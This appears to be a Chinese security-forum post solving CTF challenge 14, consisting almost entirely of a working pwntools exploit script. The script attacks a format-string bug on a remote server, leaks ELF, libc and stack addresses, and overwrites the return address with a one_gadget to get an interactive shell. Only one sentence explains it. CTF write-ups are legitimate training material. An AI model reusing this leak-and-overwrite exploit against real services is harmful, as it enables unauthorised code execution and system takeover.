首页
论坛
课程
招聘
雪    币: 9413
活跃值: 活跃值 (28)
能力值: ( LV12,RANK:640 )
在线值:
发帖
回帖
粉丝

第十四题 你眼中的世界

2018-12-29 06:46 3130

第十四题 你眼中的世界

2018-12-29 06:46
3130

看起来就是个除了输入 buffer 不在栈上以外没什么特殊之处的 format string 漏洞……

from pwn import *

context(arch='amd64')

r = remote('211.159.175.39', 8686)

def transceive(data, lenz=None):
  if lenz is None:
    lenz = len(data) + 1
  r.sendlineafter('lens of your word: ', str(lenz))
  r.sendlineafter('word: ', data)
  r.recvuntil('echo: ')
  return r.recvline(keepends=False)

r.recvuntil('echo from your heart\n')
addrs = transceive('%p ' * 10 + "%10$s").split(' ')
elf_base = int(addrs[5], 16) - 0xb80
libc = int(addrs[7], 16) - 0x20830
stack_addr = int(addrs[9], 16)
one_gadget = libc + 0x45216

log.success('ELF @ ' + hex(elf_base))
log.success('libc @ ' + hex(libc))
log.success('Some Stack Ptr = ' + hex(stack_addr))
log.success('One gadget @ ' + hex(one_gadget))

def write_word(addr, val):
    cnt = (addr & 0xFFFF) - 8
    payload  = '%c%c%c%c%c%c%c%c%{}x%hn||%10$s'.format(cnt)
    transceive(payload)
    cnt = (val - 34) & 0xFFFF
    payload  = '%c' * 34 + '%{}x%hn||%36$s'.format(cnt)
    transceive(payload)

retaddr = stack_addr - 224
write_word(retaddr, one_gadget & 0xFFFF)
write_word(retaddr + 2, (one_gadget >> 16) & 0xFFFF)

r.interactive()


HWS计划·2020安全精英夏令营来了!我们在华为松山湖欧洲小镇等你

最新回复 (0)
游客
登录 | 注册 方可回帖
返回